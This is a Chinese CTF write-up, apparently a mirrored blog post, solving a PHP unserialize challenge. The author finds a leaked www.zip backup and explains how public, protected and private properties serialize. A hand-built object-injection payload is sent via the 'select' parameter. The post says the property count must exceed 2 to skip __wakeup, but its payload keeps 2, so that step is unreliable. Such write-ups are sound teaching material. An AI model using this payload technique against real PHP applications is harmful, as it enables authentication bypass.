zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]PHP 1

    一进去 我一看

    很强的前端页面 可惜是老外做的

     已经提示了 存在网站备份文件 然后我就开始找了 

    .git .svn .DS_store  .hg 都不存在泄露 

    找 .index.php.swp  index.php.bak  也不存在

    不找了 开始 目录扫描  dirsearch 

    扫了 没找到

    换个  用 dirmap

    找到了

     www.zip 很敏感 一看就知道是备份

     访问后下载

    可以看到 所有源码

    尝试提交 失败  因为这是个假的flag

    查看网页 源码

    发现 包含 class.php

    再看 class.php

    存在2个敏感函数 _wake() 和  _destruct()

    _wake()函数意味着我们要构造的变量数大于原来的变量 

    _destruct()函数相当于 给了我们构造要满足的条件  

    这里 需要满足 username=admin  password=100

    还需知道的致死点为  :

    public 权限变量 构造 序列化  可 直接 s:8:"username";s:5:"admin" 这样 

    而 protected 权限变量   需要  s:11:"%00*%00username";s:5:"admin";

    private 权限变量 需要 s:14:"%00Name%00username";s:5:"admin";

    一般 自己多用 serialize函数 就能了解 序列化字符串 是怎么构造的

    构造可以分为 php 脚本自动构造  和手工构造 

    这里 我直接手工  不是很难的 一般都是手工

    payload:     O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    注意 index.php 里面写了用 select进行传参
    所以 index.php?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    实验 

    O 为类的对象  一般表示类名

    这里为Name

     构造的变量数只要大于2就好  因为你之前构造好的 变量就是 2  分别为username  和 password  这里大于二主要是为了 绕 _wake()

    测试结果:

    protected修饰变量,运行后回显代码内注释内容

    1.  
      <?php
    2.  
      class Name{
    3.  
      protected $username = 'nonono';看这两行
    4.  
      protected $password = 'yesyes';
    5.  
       
    6.  
      public function __construct($username,$password){
    7.  
      $this->username = $username;
    8.  
      $this->password = $password;
    9.  
      }
    10.  
      }
    11.  
       
    12.  
      $a = new Name('admin',100);
    13.  
      $b=serialize($a);
    14.  
      echo $b;
    15.  
      //看这看这看这看这!!!!!!!!!
    16.  
      //运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
    17.  
      ?>

    public修饰变量,运行后回显代码内注释内容

    1.  
      <?php
    2.  
      class Name{
    3.  
      public $username = 'nonono';
    4.  
      public $password = 'yesyes';
    5.  
       
    6.  
      public function __construct($username,$password){
    7.  
      $this->username = $username;
    8.  
      $this->password = $password;
    9.  
      }
    10.  
      }
    11.  
       
    12.  
      $a = new Name('admin',100);
    13.  
      $b=serialize($a);
    14.  
      echo $b;
    15.  
      //O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
    16.  
      ?>

     private修饰变量,运行后回显代码内注释内容

    1.  
      <?php
    2.  
      class Name{
    3.  
      private $username = 'nonono';
    4.  
      private $password = 'yesyes';
    5.  
       
    6.  
      public function __construct($username,$password){
    7.  
      $this->username = $username;
    8.  
      $this->password = $password;
    9.  
      }
    10.  
      }
    11.  
       
    12.  
      $a = new Name('admin',100);
    13.  
      $b=serialize($a);
    14.  
      echo $b;
    15.  
      //O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
    16.  
      ?>

     序列化的字符串 以 空白隔开  反序列化可用%00代替 或者

    这里 有点问题 

    over-------------------+

  • 相关阅读:
    Visual Studio 2010使用Visual Assist X的方法
    SQL Server 2000 评估版 升级到 SQL Server 2000 零售版
    双网卡多网络单主机同时访问
    开发即过程!立此纪念一个IT新名词的诞生
    delphi dxBarManager1 目录遍历 转为RzCheckTree2树
    5320 软件集合
    delphi tree 从一个表复制到另一个表
    DELPHI 排课系统课表
    长沙金思维 出现在GOOGLE的 金思维 相关搜索里啦!!
    如何在DBGrid的每一行前加一个单选框?
  • 原文地址:https://www.cnblogs.com/Sabia/p/14119876.html
Copyright © 2011-2022 走看看